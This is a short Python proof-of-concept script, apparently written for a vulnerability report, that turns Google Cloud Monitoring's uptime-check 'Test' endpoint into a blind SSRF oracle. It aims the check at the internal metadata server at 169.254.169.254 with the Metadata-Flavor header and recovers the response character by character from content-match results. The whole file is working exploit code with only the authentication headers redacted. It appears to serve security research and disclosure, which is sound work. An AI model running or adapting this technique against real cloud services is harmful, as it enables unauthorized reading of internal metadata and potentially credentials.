uptime_check_parser.py

# This is only basic version to get the idea how the script to parse response worked, I made it faster later by 
# making asynchronous calls 

import requests

# This endpoint is called when the Test button in uptime checks is pressed
url = 'https://monitoring.clients6.google.com/v3/projects/<projectId>:validateUptimeCheckConfig'
body = '{"checkerType":"WHITELISTED_CHECKERS","contentMatchers":[{"content":"XXXX","matcher":"CONTAINS_STRING"}],' \
       '"displayName":"test","httpCheck":{"headers":{"Metadata-Flavor":"Google"},' \
       '"path":"/computeMetadata/v1/project/project-id","port":80,"validateSsl":false},"logCheckFailures":true,' \
       '"monitoredResource":{"labels":{"host":"169.254.169.254"},"type":"uptime_url"},"period":"60s","timeout":"10s"}';

headers = {
    # REDACTED - authentication headers (copied from the browser)
}


def is_containing(chcked_string):
    request_body = body.replace("XXXX", chcked_string)
    r = requests.post(url=url, data=request_body, headers=headers)

    result = r.json()
    res_parsed = result['uptimeCheckResults'][0]
    return 'contentMismatch' not in res_parsed


contained_string = ''
charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'

while True:
    found = False
    if not found:
        for ch in charset:
            validated_string = contained_string + ch
            print('Trying ', validated_string)
            if is_containing(validated_string):
                print('Found: ' + validated_string)
                contained_string = validated_string;
                found = True
                break

    if not found:
        print('Did not find any, end ', contained_string)
        break
    else:
        print('Current string: ', contained_string)